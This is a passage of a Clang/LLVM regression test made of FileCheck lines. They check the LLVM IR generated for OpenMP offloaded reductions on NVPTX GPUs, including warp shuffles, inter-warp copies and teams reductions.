CHECK6-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP5]] // CHECK6-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK6-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 4 // CHECK6-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK6-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP12]], i8* [[TMP11]]) #[[ATTR3]] // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l36 // CHECK6-SAME: (i32 [[A:%.*]], i32 [[B:%.*]]) #[[ATTR1]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[A_ADDR:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[B_ADDR:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK6-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK6-NEXT: store i32 [[A]], i32* [[A_ADDR]], align 4 // CHECK6-NEXT: store i32 [[B]], i32* [[B_ADDR]], align 4 // CHECK6-NEXT: [[CONV:%.*]] = bitcast i32* [[B_ADDR]] to i16* // CHECK6-NEXT: [[NVPTX_NUM_THREADS:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK6-NEXT: call void @__kmpc_spmd_kernel_init(i32 [[NVPTX_NUM_THREADS]], i16 1) // CHECK6-NEXT: call void @__kmpc_data_sharing_init_stack_spmd() // CHECK6-NEXT: br label [[DOTEXECUTE:%.*]] // CHECK6: .execute: // CHECK6-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3:[0-9]+]]) // CHECK6-NEXT: store i32 [[TMP0]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK6-NEXT: call void @__omp_outlined__9(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i32* [[A_ADDR]], i16* [[CONV]]) #[[ATTR3]] // CHECK6-NEXT: br label [[DOTOMP_DEINIT:%.*]] // CHECK6: .omp.deinit: // CHECK6-NEXT: call void @__kmpc_spmd_kernel_deinit_v2(i16 1) // CHECK6-NEXT: br label [[DOTEXIT:%.*]] // CHECK6: .exit: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@__omp_outlined__9 // CHECK6-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR1]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK6-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK6-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 4 // CHECK6-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 4 // CHECK6-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[CAPTURED_VARS_ADDRS:%.*]] = alloca [2 x i8*], align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK6-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK6-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK6-NEXT: store i32* [[A]], i32** [[A_ADDR]], align 4 // CHECK6-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 4 // CHECK6-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 4 // CHECK6-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 4 // CHECK6-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK6-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK6-NEXT: [[TMP2:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i32 0, i32 0 // CHECK6-NEXT: [[TMP3:%.*]] = bitcast i32* [[A1]] to i8* // CHECK6-NEXT: store i8* [[TMP3]], i8** [[TMP2]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i32 0, i32 1 // CHECK6-NEXT: [[TMP5:%.*]] = bitcast i16* [[B2]] to i8* // CHECK6-NEXT: store i8* [[TMP5]], i8** [[TMP4]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK6-NEXT: [[TMP7:%.*]] = load i32, i32* [[TMP6]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = bitcast [2 x i8*]* [[CAPTURED_VARS_ADDRS]] to i8** // CHECK6-NEXT: call void @__kmpc_parallel_51(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i32 1, i32 -1, i32 -1, i8* bitcast (void (i32*, i32*, i32*, i16*)* @__omp_outlined__10 to i8*), i8* null, i8** [[TMP8]], i32 2) // CHECK6-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[TMP10:%.*]] = bitcast i32* [[A1]] to i8* // CHECK6-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[TMP12:%.*]] = bitcast i16* [[B2]] to i8* // CHECK6-NEXT: store i8* [[TMP12]], i8** [[TMP11]], align 4 // CHECK6-NEXT: [[TMP13:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK6-NEXT: [[TMP14:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK6-NEXT: [[TMP15:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i8* [[TMP14]], i32 2048, i8* [[TMP13]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func15, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func16, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func17, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func18, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func19, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func20) // CHECK6-NEXT: [[TMP16:%.*]] = icmp eq i32 [[TMP15]], 1 // CHECK6-NEXT: br i1 [[TMP16]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK6: .omp.reduction.then: // CHECK6-NEXT: [[TMP17:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK6-NEXT: [[TMP18:%.*]] = load i32, i32* [[A1]], align 4 // CHECK6-NEXT: [[OR:%.*]] = or i32 [[TMP17]], [[TMP18]] // CHECK6-NEXT: store i32 [[OR]], i32* [[TMP0]], align 4 // CHECK6-NEXT: [[TMP19:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK6-NEXT: [[CONV:%.*]] = sext i16 [[TMP19]] to i32 // CHECK6-NEXT: [[TMP20:%.*]] = load i16, i16* [[B2]], align 2 // CHECK6-NEXT: [[CONV3:%.*]] = sext i16 [[TMP20]] to i32 // CHECK6-NEXT: [[CMP:%.*]] = icmp sgt i32 [[CONV]], [[CONV3]] // CHECK6-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK6: cond.true: // CHECK6-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK6-NEXT: br label [[COND_END:%.*]] // CHECK6: cond.false: // CHECK6-NEXT: [[TMP22:%.*]] = load i16, i16* [[B2]], align 2 // CHECK6-NEXT: br label [[COND_END]] // CHECK6: cond.end: // CHECK6-NEXT: [[COND:%.*]] = phi i16 [ [[TMP21]], [[COND_TRUE]] ], [ [[TMP22]], [[COND_FALSE]] ] // CHECK6-NEXT: store i16 [[COND]], i16* [[TMP1]], align 2 // CHECK6-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP7]]) // CHECK6-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK6: .omp.reduction.done: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@__omp_outlined__10 // CHECK6-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR1]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK6-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK6-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 4 // CHECK6-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 4 // CHECK6-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK6-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK6-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK6-NEXT: store i32* [[A]], i32** [[A_ADDR]], align 4 // CHECK6-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 4 // CHECK6-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 4 // CHECK6-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 4 // CHECK6-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK6-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK6-NEXT: [[TMP2:%.*]] = load i32, i32* [[A1]], align 4 // CHECK6-NEXT: [[OR:%.*]] = or i32 [[TMP2]], 1 // CHECK6-NEXT: store i32 [[OR]], i32* [[A1]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i16, i16* [[B2]], align 2 // CHECK6-NEXT: [[CONV:%.*]] = sext i16 [[TMP3]] to i32 // CHECK6-NEXT: [[CMP:%.*]] = icmp sgt i32 99, [[CONV]] // CHECK6-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK6: cond.true: // CHECK6-NEXT: br label [[COND_END:%.*]] // CHECK6: cond.false: // CHECK6-NEXT: [[TMP4:%.*]] = load i16, i16* [[B2]], align 2 // CHECK6-NEXT: [[CONV3:%.*]] = sext i16 [[TMP4]] to i32 // CHECK6-NEXT: br label [[COND_END]] // CHECK6: cond.end: // CHECK6-NEXT: [[COND:%.*]] = phi i32 [ 99, [[COND_TRUE]] ], [ [[CONV3]], [[COND_FALSE]] ] // CHECK6-NEXT: [[CONV4:%.*]] = trunc i32 [[COND]] to i16 // CHECK6-NEXT: store i16 [[CONV4]], i16* [[B2]], align 2 // CHECK6-NEXT: [[TMP5:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = load i32, i32* [[TMP5]], align 4 // CHECK6-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[TMP8:%.*]] = bitcast i32* [[A1]] to i8* // CHECK6-NEXT: store i8* [[TMP8]], i8** [[TMP7]], align 4 // CHECK6-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[TMP10:%.*]] = bitcast i16* [[B2]] to i8* // CHECK6-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK6-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK6-NEXT: [[TMP12:%.*]] = call i32 @__kmpc_nvptx_parallel_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP6]], i32 2, i32 8, i8* [[TMP11]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func12, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func13) // CHECK6-NEXT: [[TMP13:%.*]] = icmp eq i32 [[TMP12]], 1 // CHECK6-NEXT: br i1 [[TMP13]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK6: .omp.reduction.then: // CHECK6-NEXT: [[TMP14:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK6-NEXT: [[TMP15:%.*]] = load i32, i32* [[A1]], align 4 // CHECK6-NEXT: [[OR5:%.*]] = or i32 [[TMP14]], [[TMP15]] // CHECK6-NEXT: store i32 [[OR5]], i32* [[TMP0]], align 4 // CHECK6-NEXT: [[TMP16:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK6-NEXT: [[CONV6:%.*]] = sext i16 [[TMP16]] to i32 // CHECK6-NEXT: [[TMP17:%.*]] = load i16, i16* [[B2]], align 2 // CHECK6-NEXT: [[CONV7:%.*]] = sext i16 [[TMP17]] to i32 // CHECK6-NEXT: [[CMP8:%.*]] = icmp sgt i32 [[CONV6]], [[CONV7]] // CHECK6-NEXT: br i1 [[CMP8]], label [[COND_TRUE9:%.*]], label [[COND_FALSE10:%.*]] // CHECK6: cond.true9: // CHECK6-NEXT: [[TMP18:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK6-NEXT: br label [[COND_END11:%.*]] // CHECK6: cond.false10: // CHECK6-NEXT: [[TMP19:%.*]] = load i16, i16* [[B2]], align 2 // CHECK6-NEXT: br label [[COND_END11]] // CHECK6: cond.end11: // CHECK6-NEXT: [[COND12:%.*]] = phi i16 [ [[TMP18]], [[COND_TRUE9]] ], [ [[TMP19]], [[COND_FALSE10]] ] // CHECK6-NEXT: store i16 [[COND12]], i16* [[TMP1]], align 2 // CHECK6-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP6]]) // CHECK6-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK6: .omp.reduction.done: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func12 // CHECK6-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK6-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK6-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK6-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK6-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK6-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK6-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK6-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK6-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK6-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK6-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK6-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK6-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[TMP16:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK6-NEXT: [[TMP17:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP16]]) // CHECK6-NEXT: store i32 [[TMP17]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK6-NEXT: [[TMP18:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK6-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK6-NEXT: [[TMP20:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK6-NEXT: store i8* [[TMP20]], i8** [[TMP11]], align 4 // CHECK6-NEXT: [[TMP21:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK6-NEXT: [[TMP22:%.*]] = load i8*, i8** [[TMP21]], align 4 // CHECK6-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[TMP24:%.*]] = bitcast i8* [[TMP22]] to i16* // CHECK6-NEXT: [[TMP25:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK6-NEXT: [[TMP26:%.*]] = bitcast i16* [[TMP25]] to i8* // CHECK6-NEXT: [[TMP27:%.*]] = load i16, i16* [[TMP24]], align 2 // CHECK6-NEXT: [[TMP28:%.*]] = sext i16 [[TMP27]] to i32 // CHECK6-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[TMP29:%.*]] = trunc i32 [[NVPTX_WARP_SIZE5]] to i16 // CHECK6-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP28]], i16 [[TMP7]], i16 [[TMP29]]) // CHECK6-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK6-NEXT: store i16 [[TMP31]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK6-NEXT: [[TMP32:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK6-NEXT: [[TMP33:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i32 1 // CHECK6-NEXT: [[TMP34:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK6-NEXT: store i8* [[TMP34]], i8** [[TMP23]], align 4 // CHECK6-NEXT: [[TMP35:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK6-NEXT: [[TMP36:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK6-NEXT: [[TMP37:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK6-NEXT: [[TMP38:%.*]] = and i1 [[TMP36]], [[TMP37]] // CHECK6-NEXT: [[TMP39:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK6-NEXT: [[TMP40:%.*]] = and i16 [[TMP6]], 1 // CHECK6-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP40]], 0 // CHECK6-NEXT: [[TMP42:%.*]] = and i1 [[TMP39]], [[TMP41]] // CHECK6-NEXT: [[TMP43:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK6-NEXT: [[TMP44:%.*]] = and i1 [[TMP42]], [[TMP43]] // CHECK6-NEXT: [[TMP45:%.*]] = or i1 [[TMP35]], [[TMP38]] // CHECK6-NEXT: [[TMP46:%.*]] = or i1 [[TMP45]], [[TMP44]] // CHECK6-NEXT: br i1 [[TMP46]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK6: then: // CHECK6-NEXT: [[TMP47:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK6-NEXT: [[TMP48:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK6-NEXT: call void @"_omp$reduction$reduction_func11"(i8* [[TMP47]], i8* [[TMP48]]) #[[ATTR3]] // CHECK6-NEXT: br label [[IFCONT:%.*]] // CHECK6: else: // CHECK6-NEXT: br label [[IFCONT]] // CHECK6: ifcont: // CHECK6-NEXT: [[TMP49:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK6-NEXT: [[TMP50:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK6-NEXT: [[TMP51:%.*]] = and i1 [[TMP49]], [[TMP50]] // CHECK6-NEXT: br i1 [[TMP51]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK6: then6: // CHECK6-NEXT: [[TMP52:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[TMP53:%.*]] = load i8*, i8** [[TMP52]], align 4 // CHECK6-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK6-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 4 // CHECK6-NEXT: [[TMP56:%.*]] = bitcast i8* [[TMP53]] to i32* // CHECK6-NEXT: [[TMP57:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK6-NEXT: [[TMP58:%.*]] = load i32, i32* [[TMP56]], align 4 // CHECK6-NEXT: store i32 [[TMP58]], i32* [[TMP57]], align 4 // CHECK6-NEXT: [[TMP59:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[TMP60:%.*]] = load i8*, i8** [[TMP59]], align 4 // CHECK6-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK6-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 4 // CHECK6-NEXT: [[TMP63:%.*]] = bitcast i8* [[TMP60]] to i16* // CHECK6-NEXT: [[TMP64:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK6-NEXT: [[TMP65:%.*]] = load i16, i16* [[TMP63]], align 2 // CHECK6-NEXT: store i16 [[TMP65]], i16* [[TMP64]], align 2 // CHECK6-NEXT: br label [[IFCONT8:%.*]] // CHECK6: else7: // CHECK6-NEXT: br label [[IFCONT8]] // CHECK6: ifcont8: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func13 // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK6-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4:[0-9]+]], i32 [[TMP2]]) // CHECK6-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK6-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK6: then: // CHECK6-NEXT: [[TMP5:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP6:%.*]] = load i8*, i8** [[TMP5]], align 4 // CHECK6-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to i32* // CHECK6-NEXT: [[TMP8:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK6-NEXT: [[TMP9:%.*]] = load i32, i32* [[TMP7]], align 4 // CHECK6-NEXT: store volatile i32 [[TMP9]], i32 addrspace(3)* [[TMP8]], align 4 // CHECK6-NEXT: br label [[IFCONT:%.*]] // CHECK6: else: // CHECK6-NEXT: br label [[IFCONT]] // CHECK6: ifcont: // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK6-NEXT: [[TMP10:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP10]] // CHECK6-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK6: then4: // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK6-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK6-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to i32* // CHECK6-NEXT: [[TMP15:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP11]], align 4 // CHECK6-NEXT: store i32 [[TMP15]], i32* [[TMP14]], align 4 // CHECK6-NEXT: br label [[IFCONT6:%.*]] // CHECK6: else5: // CHECK6-NEXT: br label [[IFCONT6]] // CHECK6: ifcont6: // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK6-NEXT: [[WARP_MASTER7:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK6-NEXT: br i1 [[WARP_MASTER7]], label [[THEN8:%.*]], label [[ELSE9:%.*]] // CHECK6: then8: // CHECK6-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 4 // CHECK6-NEXT: [[TMP18:%.*]] = bitcast i8* [[TMP17]] to i16* // CHECK6-NEXT: [[TMP19:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK6-NEXT: [[TMP20:%.*]] = bitcast i32 addrspace(3)* [[TMP19]] to i16 addrspace(3)* // CHECK6-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP18]], align 2 // CHECK6-NEXT: store volatile i16 [[TMP21]], i16 addrspace(3)* [[TMP20]], align 2 // CHECK6-NEXT: br label [[IFCONT10:%.*]] 